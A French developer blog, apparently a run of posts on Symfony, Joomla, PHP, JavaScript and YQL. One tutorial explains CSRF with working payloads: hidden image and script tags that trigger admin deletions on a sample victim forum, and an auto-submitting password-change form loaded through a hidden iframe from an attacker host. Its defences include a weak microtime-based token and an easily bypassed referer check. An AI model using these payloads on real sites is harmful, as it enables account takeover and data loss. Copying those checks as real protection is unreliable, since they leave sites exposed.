Après avoir conçu le fichier schema.yml pour une applications de jeux en ligne, j’ai été surpris par une erreur mysql 150 au moment quand j’ai exécuté « php symfony doctrine:build –all –and-load –no-confirmation », l’idée était de pouvoir gérer les permission par rapport à un concours et donner à un utilisateur X les droits pour le faire, la solution la plus naturel afin de l’intégrer avec sfDoctrineGuard est de créer une table avec une relation « many to many« , voici donc ce que contenais mon fichier schma.yml pour la table concernée :

################## Questions ##################
Concours:
  columns:
    id: { type: integer(4), primary: true, autoincrement: true}
    name: string(250)
    ....
############ Gestion des Permissions ############
sfGuardConcoursUser:
  columns:
    user_id: { type: integer, primary: true}
    concours_id: { type: integer, primary: true}
  relations:
    Concours: { local: concours_id, foreign: id, foreignAlias: sfGuardConcoursUserConcours, onDelete: CASCADE }
    sfGuardUser: { local: user_id, foreign: id, foreignAlias: sfGuardConcoursUsersfGuardUser, onDelete: CASCADE }

Problème

Après avoir fait un « php symfony doctrine:build –all –and-load –no-confirmation », j’ai eu droit à cette erreur:

SQLSTATE[HY000]: General error: 1005 Can’t create table ‘test.#sql-529_3dab’ (errno: 150). Failing Query: « ALTER TABLE jeux_concours ADD CONSTRAINT jeux_concours_concours_id_user_id FOREIGN KEY (concours_id) REFERENCES concours

Solution?

Et Oui c’est l’une des erreurs qui m’ont fait chier pendant une heure pour trouver d’où ça provient, pour vous faire gagner du temps, voici la recette magique ;) :

Pour mysql les relations « many to many » doivent avoir toujours le même type et la même longueur des champs clés, vous remarquez bien que le champ Concours[id] est du type integer(4), par-contre dans la table sfGuardConcoursUser il est du type integer, il n’a donc pas la même longueur et c’est à cause de cette différence que l’erreur 150 s’est produite.

La solution est très simple, il suffit de mettre integer comme type pour le champ id de la table Concours au lieu de integer(4) et Bingo!

Happy coding

Fil d’Ariane ou « chemin de fer » appelé aussi « breadcrumbs » est l’un des éléments indispensables dans un site web, il est souvent présent avant le contenu de toute page web et permet d’indiquer aux utilisateurs leur emplacement à l’intérieur du site. dans Joomla! 1.5 le fil d’Ariane est géré par un module « mod_breadcrumbs », ce dernier est géré principalement à partir de la partie « Menus » dans l’interface d’administration. Dans ce tuto on verra comment personnaliser ce dernier en ajoutant/modifiant ou supprimant des éléments.

Ajouter un élément en fin du fil d’Ariane

$breadcrumbs =& $mainframe->getPathWay();
$breadcrumbs->addItem(JText::_('NOM_ELEMENT') , JRoute::_('URL_ELEMENT'));

Ajouter un élément au début du fil d’arian

$breadcrumbs =& $mainframe->getPathWay();
$breadcrumsNames = $breadcrumbs->_pathway ;
$new_menu = new stdClass();
$new_menu->link = JRoute::_('URL_ELEMENT');
$new_menu->name = JText::_('JNOM_ELEMENT');
array_unshift($breadcrumsNames,$new_menu);
$breadcrumbs->_pathway = $breadcrumsNames ;

Vous l’avez bien compris? $breadcrumsNames (ligne 2) permet de récupérer l’ensemble des élements du fil d’Ariane sous forme de tableau qui contient des objets stdClass, chaque objet contient deux propriétés (link et name) qui corresponde respectivement au nom de l’élément et à l’url correspondant. Si on souhaite pas que l’élément du rajouté ne soit pas cliquable il suffit de mettre la propriété link à null, ainsi vous pouvez manipuler tous les élements du tableau comme ça vous chante et par la suite l’assigner à la variable $breadcrumbs (ligne 7)

J’espère que ce petit tuto vous sera utile, n’hésitez pas à poser des questions!

Vu le très peu de documentation que j’ai pu trouvé au sujet du plugin sfFormExtraPlugin de symfony, voici un guide rapide qui vous permettra d’installer le plugin sfFormExtraPlugin et pouvoir afficher un calendrier pour les champs de type date grâce au widget sfWidgetFormJQueryDate, voici donc les étapes à suivre:

1 – Installer le plugin sfFormExtraPlugin

En mode console, positionnez vous sur le dossier d’installation du projet et exécuter :

./symfony plugin:install sfFormExtraPlugin

2 – Télecharger et mettre en place les librairies jQuery nécessaire

Malheureusement le plugin sfFormExtraPlugin n’inclue pas les librairies externes nécessaire au fonctionnement, il faut le faire à la main!

il faut donc télécharger JQuery et JQuery UI:

• Allez sur le site de jQuery UI
• Dans la liste des composants déchochez toutes les cases sauf Core et Datepicker
• Sélectionner le thème qui vous convient à droite et cliquez Télécharger

3 – Placé les fichiers téléchargés dans le dossier web et modifier le fichier view.yml

Décompresser jquery-ui-1.8custom.zip et copier les fichiers décompresser vers le dossier web ainsi:

• js/jquery-1.4.2.min.js et js/jquery-ui-1.8.custom.min.js dans le dossier /web/js
• css/jquery-ui-1.8.custom.css dans le dossier /web/css
• renommer le dossier css/theme/images/ en jquery-ui-images et mettez le dans /web/images/
• Ouvrez le fichier /web/css/jquery-ui-1.8.custom.css et remplacer « images/ » par « ../images/jquery-ui-images/ » pour corriger le chemin vers les images
• calendar.png une petite icône qu’on affiche à coté du champs pour faire joli :p (à mettre dans /web/images/)

Maintenant il faut inclure les fichiers javascript et css dans view.yml de notre application (par exemple /apps/backend/config/view.yml) :

Ajout du fichier javascript

    javascripts:    [jquery-1.4.2.min.js, jquery-ui-1.8.custom.min.js]

Ajout du fichier css

    stylesheets:    [jquery-ui-1.8.custom.css]

4 – Mise en place du Widget dans la classe du formulaire

class PrescripteursForm extends BasePrescripteursForm
{
  public function configure()
  {
    $this->widgetSchema['date_debut'] = new sfWidgetFormJQueryDate(array('image'=>'/images/calendar.png'));
    $this->widgetSchema['date_fin'] = new sfWidgetFormJQueryDate(array('image'=>'/images/calendar.png'));
  }
}

Et le tour est joué ;) ça devrai ressembler à ça :

Hola les amis!

Travailler avec des tableaux en PHP est parfois embêtant, surtout quand il s’agit d’un long tableau avec une dizaine d’éléments, je préfère écrire

$obj->element1->element2->element3

plutôt que

$obj['element1']['element2']['element3']

Dans ce tutoriel on verra comment convertir une variable de type Array à un objet de type stdClass:
On considère le tableau suivant :

$tab = array(
	'key1' =>; 'Hello',
 	'key2' => array(
			'subkey1'=>'subval1',
			'subkey2'=>'subval2',
			'subkey3'=> array('foo'=>'bar')
		  )
        );

Première méthode : Type Casting

Le type casting est une méthode qui consiste à forcer le type d’une variable en la précédant du type voulu, exemple :

function array_to_object($tab)
{
  return (object)$tab ;
}

$tab = array(
	'key1' => 'Hello',
 	'key2' => array(
			'subkey1'=>'subval1',
			'subkey2'=>'subval2',
			'subkey3'=> array('foo'=>'bar')
		  )
        );

print_r(array_to_object($tab));

Cette méthode marche, mais elle n’est pas récursive, du coup seules les premiers éléments du tableau sont convertis en objets stdClass (key1,key2), le subkey3 reste toujours de type Array :

stdClass Object
(
    [key1] => Hello
    [key2] => Array
        (
            [subkey1] => subval1
            [subkey2] => subval2
            [subkey3] => Array
                (
                    [foo] => bar
                )
        )
)

Pour accéder à la valeur de la clé « foo », du sous-tableau « subkey3″ on doit faire : $tab->key2['subkey3]['foo'], ce qui est un peu chiant, on doit donc parcourir le tableau de façon récursive pour obtenir : $tab->key2->subkey3->foo!

Deuxième méthode: une fonction array_to_object()

function array_to_object($tab)
{
	$data = new stdClass ;
	if(is_array($tab) && !empty($tab))
	{
		foreach($tab as $key => $val)
		{
			if(is_array($val))
				$data->$key = array_to_object($val);
			else
				$data->$key = $val ;
		}
	}
	return $data ;
}

$tab = array(
	'key1' => 'Hello',
 	'key2' => array(
			'subkey1'=>'subval1',
			'subkey2'=>'subval2',
			'subkey3'=> array('foo'=>'bar')
		  )
        );

print_r(array_to_object($tab));

Résultat d’exécution :

stdClass Object
(
    [key1] => Hello
    [key2] => stdClass Object
        (
            [subkey1] => subval1
            [subkey2] => subval2
            [subkey3] => stdClass Object
                (
                    [foo] => bar
                )
        )
)

Et voilà, tout est objet! ainsi on peut faire : $tab->key2->subkey3->foo ce qui est plus joli à mon gout =)

Happy coding

Dans symfony, tous les paramètres de configuration sont stockés dans des fichiers .yml (settings.yml, app.yml, module.yml, logging.yml, and i18n.yml), ceux-ci sont accessibles via une classe spéciale sfConfig, certains sont automatiquement utilisés dans le framework!
Lors du développement d’une application/module symfony, on peut définir des paramètres de configuration spécifiques à notre application, l’objectif de ce tutoriel est d’expliquer comment récupérer/modifier les valeurs de ces variables !

Exemple de fichier de configuration

On considère que le nom de l’application est frontend, et le fichier de configuration de l’application /apps/frontend/config/app.yml

all:
  categoryPages:
    maxPages: 10
  productPages:
    maxPages: 5
  generalMax: 15

Récupérer une valeur

echo sfConfig::get('app_categoryPages_maxPages'); // => 10
echo sfConfig::get('app_productPages_maxPages'); // => 5
echo sfConfig::get('app_generalMax'); // => 15

Symfony utilise le format YAML pour tous ses fichiers de configuration grâce à sa syntaxe simple et efficace, les données sont représentées par une combinaison de listes, tableaux (de hachage) et données scalaires.

L’accès à une variable se fait via la méthode get() de la classe sfConfig, il suffit d’indiquer le chemin permettant d’accéder à la variable, on respectant ces petites règles :

• Le premier paramètre corrépond au nom d’un fichier de configuration sans le .yml (settings, app, module, logging, i18n..), ces fichiers se trouve dans le répertoire /apps/NOMAPPLICATION/config/
• Il ne faut pas mentionner le « all » ou « default » dans la méthode sfConfig::get()
• Séparez les paramètres par des « _ » en respectant arborescence selon le fichier .yml
• Il est préférable de ne pas utilisé des « _ » dans le nom des paramètres pour éviter un éventuel conflit

Modifier la valeur d’un paramètre « on the fly »

La méthode set de la classe sfConfig permet la modification de la valeur d’un paramètre de configuration, cette modificationn’est pas permanente, et n’affecte pas le fichier de configuration concerné:
Exemple :

sfConfig::set('sf_timeout', 86400);

Modifier un paramètre dans le fichier yml

Par défaut, symfony ne gère pas l’écriture dans les fichiers de configuration, il n’y a donc pas de méthode save() dans la classe sfConfig, néanmoins il fourni d’autre méthodes permettant la réalisation de cette tache:

Exemple :

Modifier app_categoryPages_maxPages dans /apps/frontend/config/app.yml

all:
  categoryPages:
    maxPages: 10
  productPages:
    maxPages: 5
  generalMax: 15

Dans actions.class.php

$app_config_file = sfConfig::get('sf_app_config_dir')."/app.yml";
$config_values = sfYaml::load($app_config_file);
$config_values['all']['categoryPages']['imap_maxPages'] = 20; // à titre d'exemple
$content = sfYaml::dump($config_values);
file_put_contents($app_config_file, $content);

sfYaml::load() retourne un tableau associatif contenant les paramètres de configuration du fichier passé en paramètre, sfYaml::dump() permet de génerer le code YAML à partir d’un tableau sur-lequel on a effectué nos modifications. sans oublier que le chemin du fichier en question doit être inscriptible (+w) pour permettre l’écriture des nouveaux paramètres

Pourquoi symfony ne gère pas l’écriture dans les fichiers YML?

Je vous rassure, ce n’est pas un oubli ;) au début ça m’a fait un peu bizarre mais voilà pourquoi :

• Dans symfony, les paramètres de configuration ne découlent pas d’un seul fichier mais de plusieurs fichiers yml (en cascade), on saura pas lequel des fichiers modifier
• Sur un serveur de développement, tous les fichiers YAML sont version-nés, si ceux-ci sont édités, il y aura des conflits au moment de mettre à jour par le biais du SVN/GIT
• Les fichiers YAML ne sont pas destinés à être modifiés dynamiquement surtout dans un projets collaboratif (sauf cas particulier)

Un grand merci à Charles, Jérôme et François qui m’ont éclairci les idées à ce sujet =)

Voilà, ce billet touche à sa fin, à très bientôt ;)

Le référencement est parmi les grands soucis qu’un webmaster ou blogueur peuvent avoir, A chaque fois qu’on rajoute du contenu, la question qui se pose est : Quand est ce que le robot de Google passera pour l’indexer ? Aujourd’hui j’ai eu l’idée de partager une petite astuce pour être alerté au passage de Google sur votre site!

En fait pour indexer un site, google possède plusieurs robots (spider/crawler), ce sont des programmes qui tournent en boucle en parcourant le web et enregistrent tous les contenus qu’ils trouvent sur leurs chemin! Il en existe plusieurs :

• GoogleBot : c’est le robot qui indexe les pages de contenu
• Googlebot-Image: celui qui indexe les images (images.google.com)
• AdsBot-Google: le robot de Google Adsense
• Mediapartners-Google: sert à indexer les sites et à proposer la publicité en conséquence dans le cadre d’une partenaria (exemple lycos)
• …

Il est possible de détecter le passage de l’un de ces robots sur son site, l’idée est de faire un test sur la variable global $_SERVER['UserAgent'], qui contient le nom du navigateur qui a effectué la requête HTTP!

Voici un bout de code pour envoyer un mail à chaque passage de GoogleBot sur votre site :

if(!empty($_SERVER['HTTP_USER_AGENT'])
{
  if(strpos($_SERVER['HTTP_USER_AGENT'], 'googlebot') !== false)
  {
    $webmastermail = 'webmaster@domain.ltd';
    mail($webmastermail, 'Alerte Googlebot',"GoogleBot t'as rendu visite sur la page : " . $_SERVER['REQUEST_URI']);
   }
}

Et voilà, grâce à ce bout de code vous serai notifiés à chaque passage du robot Google sur votre site!

Parcontre ce n’est pas génial coté securité! Dans une requêtte HTTP l’entête HTTP_USER_AGENT est modifiable, du coup un utilisateur malveillant peut flooder votre boite mails avec un grand nombre de requêtes ayant UserAgent: Googlebot! La solution est de faire un lookup sur l’adresse IP envoyant la requête et résoudre le nom de domaine avec la fonction gethostbyaddr, si le nom de la machine ne correspond pas à *.googlebot.com pas d’envoi d’email ;)

if(!empty($_SERVER['HTTP_USER_AGENT'])
{
  if(strpos($_SERVER['HTTP_USER_AGENT'], 'googlebot') !== false)
  {
    if(preg_match('#.*?\.googlebot\.com$#',gethostbyaddr($_SERVER['REMOTE_ADDR'])))
    {
      $webmastermail = 'webmaster@domain.ltd';
      mail($webmastermail, 'Alerte Googlebot',"GoogleBot t'as rendu visite sur la page : " . $_SERVER['REQUEST_URI']);
    }
    else
    {
     // on peux bannir l'adresse en la rajoutant au fichier .htaccess
    /* if(is_writable('.htaccess'))
     {
       $h = fopen('.htaccess','a+');
       fwrite($h,"\nDeny from: ".$_SERVER['REMOTE_ADDR']);
       fclose($h);
      }
    */
    }
  }
}

A savoir que bannir l’utilisateur si le hostname ne correspond pas n’est pas une très bonne idée vu que google peut changer de domaine (*.googlebot.com), par contre ça vous évitera de recevoir un joli paquet d’emails, j’ai commenté cette partie du code pour éviter de bannir google si jamais *.googlebot.com change ;)

J’espère que cet astuce vous sera utile!

Bonne nuit!

En javascript, parfois on a besoin de récupérer le texte sélectionné par le client, c’est souvent utilisé si vous développez votre propre éditeur wysiwig afin de mettre un texte en gras ou placer un lien hypertexte autour de votre sélection!

Bref voici une fonction cross-browser qui vous permet cela!

Code :

getSelectedText = function(){
    selectedText = '';
    // Gecko, Webkit
    if (window.getSelection) {
        selectedText = window.getSelection();
    }
    // Si IE
    else if (document.selection) {
        selectedText = document.selection.createRange().text;
    }
    return selectedText ;
}

Et si on fait un test !

Sélectionnez un texte quelconque dans le blog, et cliquez sur le bouton ci dessous!

voilà c’est aussi simple que ça!

Un framework JavaScript c’est quoi?

Un framework JavaScript est un ensemble d’applications et de fonctionnalités regroupés, c’est une sorte de boite à outils qui contient toutes les tâches répétitives et courantes, grâce aux frameworks, vous pouvez gagner beaucoup de temps dans vos développements, vous pouvez facilement manipuler le DOM, faire des requêtes AJAX, des animations et des effets superbes sur vos pages, et vous aurez tout le temps de vous concentrer sur des taches plus complexes et assez intéressantes ;)

Actuellement il existe plus de 500 frameworks JavaScript , ces frameworks qui ne cessent d’évoluer depuis l’apparition du WEB2.0

Faire du WEB2.0!

Il faut savoir que le WEB2.0 est concrètement basé sur le JavaScript du point de vue technique! particulièrement grâce à sa capacité de faire des appels asynchrones vers les serveurs WEB via l’objet XMLHttpRequest, inventé par Microsoft en 2001, ce dernier permet aux visiteurs d’accéder aux nouveaux contenus sans avoir à cliquer ou rafraichir la page, cette fonctionnalité a été implémenté dans le DHTML pour donner naissance au WEB2.0.

Cette expérience a permis de donner une nouvelle vision au WEB, qui est devenu de plus en plus dynamique, réactif et innovant

Pallier aux déficiences des navigateurs actuels

S’assurer que son code javascript est compatible avec tous les navigateurs modernes est l’une des tâches les plus pénibles pour un développeur WEB (cross-browsing), d’où le grand avantage des frameworks javascript: vous n’avez plus à gérer les dépendances entre les différents navigateurs (sélecteurs, gestion des évènements, méthodes de manipulation DOM..), votre framework javascript le fera à votre place et vous facilitera la vie ;)

Quel framework JavaScript utiliser?

Voici une liste des frameworks JavaScript les plus populaires :

• jQuery
• Prototype
• Yahoo! User Interface
• Dojo
• Mootools
• Ext JS
• …

Vu la qualité des outils proposés par les différents frameworks, il est difficile de recommander un en particulier, mais personnellement je préfère jQuery puis mootools grâce à leurs qualité de documentation, leurs communautés très large, et leurs simplicité!

Vous pourriez préférer d’autres mais je vous invite à les essayer tous et utiliser celui avec lequel vous vous sentez plus à l’aise!

CSRF Injection (Cross Site Request Forgeries) est une classe d’attaque propre aux applications WEB qui a toujours existé mais qui reste moins connue! son exploitation par un attaquant malveillant peut avoir des conséquences dramatique sur un système d’information.

Dans ce billet, je vais vous expliquer ce que c’est une attaque de type CSRF Injection, avec des exemples d’exploitation illustrés ainsi que des mesures de protection qui peuvent être implémentés.

CSRF c’est quoi?

Une attaque CSRF se repose sur l’exploitation de la confiance d’une application WEB vis à vis ses clients, l’objectif de cette dernière est de forcer le navigateur à envoyer une requête « forgée » à l’insu d’un internaute connecté à son compte avec les privilèges de ce dernier, autrement dit : « Je n’ai pas les droits pour faire une action, je m’arrange alors pour que l’utilisateur ayant les privilèges nécessaires la fasse à ma place (sans qu’il soit au courant bien entendu) ».

Ce type d’attaque n’est pas difficile à mettre en œuvre, il peut être mené par n’importe qui par un simple lien ou script caché dans un email ou une page WEB, on suivant le lien contrefait le navigateur de la victime exécutera le code avec les permissions qu’a ce dernier sur le site vulnérable (forum, blog, espace membre..).

Quelques exemples d’exploitation:

Pour illustrer la facilité de la mise en œuvre d’une attaque CSRF avec des exemples concrets: Je vais prendre l’exemple d’un forum qui n’as pas pensé à se protéger contre ce type de faille, son administrateur connecté à son espace admin visite une page contenant l’un de ces codes :

Exemple avec des requêtes GET

Suppression de tous les topics d’un forum

<img src="http://www.victime.ltd/forum/admin/delete.php?msg=all" alt="" width="0" height="0" />

Suppression d’un utilisateur :

<script src="http://www.victime.ltd/forum/admin/deleteuser.php?username=toto" type="text/javascript"></script>

Donner les drois d’administrateur à l’utilisateur haxor

<span style="background:url(http://www.victime.ltd/forum/admin/addadmin.php?username=haxor">Hello master</span>

Comment ça marche?

Lorsque l’administrateur du forum visite une page contenant l’un de ces codes, son navigateur va essayer de charger l’image se trouvant à l’adresse indiquée par la balise « <img> » sans se douter que ce n’est pas une image. Le serveur du forum va donc exécuter la page et supprimer tous les messages en croyant que c’est l’administrateur qui a demandé la suppression!

On partant sur le même principe le deuxième et troisième exemples illustrent l’utilisation des balises HTML avec différents attributs où le but est toujours de forcer le navigateur à appeler une page web du site victime via une requête HTTP de type GET, cette page sera interprétée par le serveur ce qui mènera à des actions non désirés par le client possédant des droits privilégiés!

Exemple avec une requête POST

On suppose que sur notre forum nous avons un formulaire de modification de mot de passe et qu’on souhaite forger une requête HTTP de type POST pour forcer le navigateur à poster les données afin de modifier le mot de passe du client (toujours à son insu bien entendu).

voici à quoi le code du formulaire peut ressembler

<form action="/user/changepasswd.php" method="post">
Entrez votre nouveau mot de passe :
<input type="hidden" name="new_password" value="" />
Confirmer le nouveau mot de passe :
<input type="hidden" name="new_password_confirm" value="" />
<input type="submit" value="Enregistrer les modification" />
</form>

L’objectif est d’effectuer une requête HTTP de type POST vers la page changepasswd.php avec les champs new_password et new_password_confirm pré-remplis, avec le nouveau passe souhaité par l’attaquant, pour cela un attaquant peut procéder ainsi :

1. Création d’une première page qui contient le formulaire pré-remplis avec comme « action » l’url du site victime
2. Mettre en place un code javascript pour soumettre le formulaire au chargement de la page
3. Créer une deuxième page pour cacher la première dans un <iframe> afin de cacher ce qui se passe derrière ;)

D’où le code de la première page (on la nome csrfpost.html) est :

<script type="text/javascript">
window.onload = function(){
document.getElementById("csrf_form").submit();
}
</script>
<form id="csrf_form" action="http://www.victime.ltd/user/changepasswd.php" method="post">
<input type="hidden" name="new_password" value="pwn3d" />
<input type="hidden" name="new_password_confirm" value="pwn3d" />
</form>

Le code de la deuxième page devrai contenir un <iframe> caché avec d’éventuel contenu pour que la victime ne se doute pas!

Hello master
<iframe src="http://attacker.ltd/csrfpost.html" width="1" height="1" style="display:none;"></iframe>

De cette manière l’iframe appelera la page csrfpost.html qui postera la requête post forgée vers la page http://www.victime.ltd/user/changepasswd.php et qui de son tour sera exécuté par le serveur du site vulnerable, et le password sera modifié par un nouveau ( « pwn3d » dans notre cas)!

Faites gaffe alors lorsqu’on vous incitent, à visiter un lien quelconque, et si jamais vous avez suivis un lien et que le contenu de la page ne vous dit rien; examinez le code source! il y a de forte possibilités qu’il s’agit d’une attaque CSRF.

Comment se protéger ?

Il est assez difficile de détecter une attaque CSRF même en utilisant un antivirus ou un firewall, alors là l’antivirus c’est vous! L’objectif est d’empêcher le navigateur à effectuer des recettes à l’insu du client ou sans accord préalable de ce dernier.
Pour cela voici des mesures à prendre en compte :

• Ne pas suivre les liens suspects
• Ne pas sauvegarder vos identifiants dans votre navigateur
• Toujours se déconnecter à la fin d’utilisation de vos comptes
• Utilisez un deuxième navigateur pour les sites suspects
• Désactiver l’interprétation du code HTML dans vos client WEBMail

Comment sécuriser son code?

Si vous êtes développeur, voici quelques bonnes pratiques à implémenter dans vos codes:

• Toujours utiliser des pages de confirmation et demander la validation du client avant toute action critique
• Utiliser des jetons de sécurité (tokenid) dans tous vos pages sensibles (voir l’exemple)
• Vérifier l’URL de provenance (HTTP_REFERER) pour prévenir des requêtes POST forgées (voir l’ exemple)

Utiliser des jetons:

L’utilisation d’un jeton de sécurité est primordiale pour une application qui se respecte, personnellement je trouve que c’est la meilleure solution pour se protéger contre les attaques CSRF!

Pour les requêtes HTTP de type GET:

On deverai avoir 2 pages, une page de confirmation qui servira à la génération d’une clé aléatoire (jeton) et la stocker dans une variable de session, ainsi tous les liens qui servent d’effectuer des actions sensibles porteront ce jeton dans une variable GET, le contenu de cette variable sera vérifié dans la deuxième page qui exécute l’action.

Exemple de page de confirmation avec une requête GET :

<?php
session_start();
// on génere une clé aléatoire de 32 caractères et on la met dans notre variable de session
$_SESSION['tokenid'] = str_shuffle(md5(microtime(true)));
?>
Etes vous sûre de vouloir supprimer l'utilisateur toto ??
<a href="supprimer_utilisateur.php?username=toto&amp;amp;tokenid=<?php echo $_SESSION['tokenid'] ?>">Supprimer</a>
<a href="javascript:history.back();">Annuler</a>

Dans la page supprimer_utilisateur.php

<?php
session_start();
// on verifie la clé de securité avant de procéder au traitement
if(!empty($_GET['tokenid']) &amp;amp;&amp;amp; $_GET['tokenid'] == $_SESSION['tokenid']){
// on détruit la session ne pas la réutiliser par un utilisateur malveillant
unset($_SESSION['tokenid']);
// on efféctue le traitement
}
else{
die("Votre session a expirée");
}
?>

Pour les requêtes HTTP de type POST

Quant aux requêtes HTTP de type POST c’est toujours le même principe que pour GET sauf qu’au lieu de passer le jeton en paramètre dans le lien on le mets dans un champs caché de type « hidden ».

On reprends l’exemple mentionné en haut mais cette fois-ci securisé =)

<?php
session_start();
$_SESSION['tokenid'] = str_shuffle(md5(microtime(true)));
?>
<form action="/user/changepasswd.php" method="post">
Entrez votre nouveau mot de passe :
<input type="hidden" name="new_password" value="" />
Confirmer le nouveau mot de passe :
<input type="hidden" name="new_password_confirm" value="" />
<input type="submit" value="Enregistrer les modification" />
<input type="hidden" name="tokenid" value="<?php echo $_SESSION['tokenid'] ?>" />
</form>

Et dans le fichier changepasswd.php

<?php
session_start();
// on verifie la clé de securité avant de procéder au traitement
if(!empty($_POST['tokenid'])  &amp;amp;&amp;amp; $_POST['tokenid'] == $_SESSION['tokenid']){
// on détruit la session pour ne pas la réutiliser par un utilisateur malveillant
unset($_SESSION['tokenid']);
// on efféctue le traitement
}
else{
die("Votre session a expirée");
}
?>

Ne faite jamais confiance à aucune données récupéré coté client tant que le filtrage n’as pas été approuvé =)

Vérification de l’url de provenance :

La vérification de l’url de provenance vous aidera à mieux vous protéger contre les CSRF avec des requêtes POST comme dans l’exemple expliqué en haut, ce n’est pas une protection sûre et peut être contourné si l’attaque provient du même site, mais ça permet comme même d’éviter plusieurs ennuits ;)

Bref, il suffit de placer le code suivant dans les fichiers qui effectuent des actions sensibles (changement de mot de passe, suppression de données, etc..)

if (!empty($_SERVER['HTTP_REFERER'])){
if (!ereg($_SERVER['HTTP_HOST'], $_SERVER['HTTP_REFERER'])){
die("Vous ne pouvez pas venir ici!");
}
}
else{
die("Referer introuvable");
}

Conclusion

La faille CSRF Injection reste parmi les classes d’attaques les plus dangereuses sur le WEB vu son exploitation instantanée et les importants dégâts qu’elle peut engendrer! Je détaillerai dans un prochain billet l’exploitation avancée de cette dernière ;)

Je rappelle que des gros sites ont étaient victimes de ce type t’attaque, je cites: Gmail, MySpace, Windows Live Mail, Skyrock, Dynadot et bien d’autres .. sinon j’espère que ce tuto vous a été utile et vous a appris de nouvelles notions ;)

Allez, bonne journée à tous!

Yahoo! Query Language

Yahoo! Query Language, baptisé YQL est un nouveau langage développé par Yahoo, semblable à SQL, ce dernier permet d’effectuer des requêtes, ordonner, filtrer et combiner des données en provenance de tout le réseau internet et « Web Services » ! Ces informations sont récupérées sous format XML ou JSON !

En effet, pour développer une application qui utilise un WEB service, les développeurs sont souvent amenés à reconnaitre les bons URL d’APIs et recourir à la documentation pour faire appel à chacun de ces derniers , sans oublier de rester prévisible à une future modification de ces derniers, d’où l’intérêt de YQL ;)

L’idée derrière la création de ce nouveau langage est de faciliter aux développeurs l’accès aux services web, ainsi ils peuvent accéder et récupérer facilement les données via un seul langage sans se référer aux différents APIs, notre ami Yahoo s’occupera des mises à jours si il y en aura!

Les fichiers de base de données YQL sont en fait de gros fichiers XML qu’on peut interroger facilement via une seule ligne, et comme c’est ouvert tout utilisateur peut proposer sa base YQL!

J’ai eu le temps de faire un tour sur le site de YQL, et ce que je trouve avantageux dans ce nouveau langage est sa facilité d’utilisation du fait qu’il est basé sur des instructions similaires à SQL comme SELECT, DESC, SHOW..

Quelques exemples de commande YQL:

Récupérer les informations géographiques de la ville de Rabat (Maroc):

select * from geo.places where text="Rabat"

Récupérer les références des photos sur flickr contant le text « Maroc »

select * from flickr.photos.search where has_geo="true" and text="Maroc"

Pour interroger une base YQL externe il suffit de l’appeler avec la command use !

Exemple pour récupérer les derniers twitts de mcherifi:

use 'http://github.com/spullara/yql-tables/raw/a2f518a10ccdca99658f14bee9101b77d7b4cf08/twitter/twitter.user.status.xml' as twittertable;
select * from twittertable where id='mcherifi';

On définit la source de la base YQL distance avec la commande « use », on donne un alias à cette dernière grâce à « AS » et on effectue notre sélection, à noter que le nom des champs n’est pas toujours le même et on peut le connaitre avec la commande : DESC nom_table

Il est également possible de faire des jointures et utiliser des sous requêtes, par exemple cette requête recherche tous les événements depuis Yahoo Events dont le texte contient « Morocco »

select name,start_date from upcoming.events where woeid in (select woeid from geo.places where text="Morocco") | sort(field="start_date")

Yahoo a également introduit les commandes de manipulation de données (INSERT/UPDATE/DELETE) que je détaillerai dans un prochain billet.

Vous pouvez vous amuser à découvrir ce nouveau langage en vous rendant sur la console YQL sur cette adresse : http://developer.yahoo.com/yql/console/

Je vous invite également à visiter le site de YQL, qui est à mon avis un projet prometteur qui fera évoluer le web!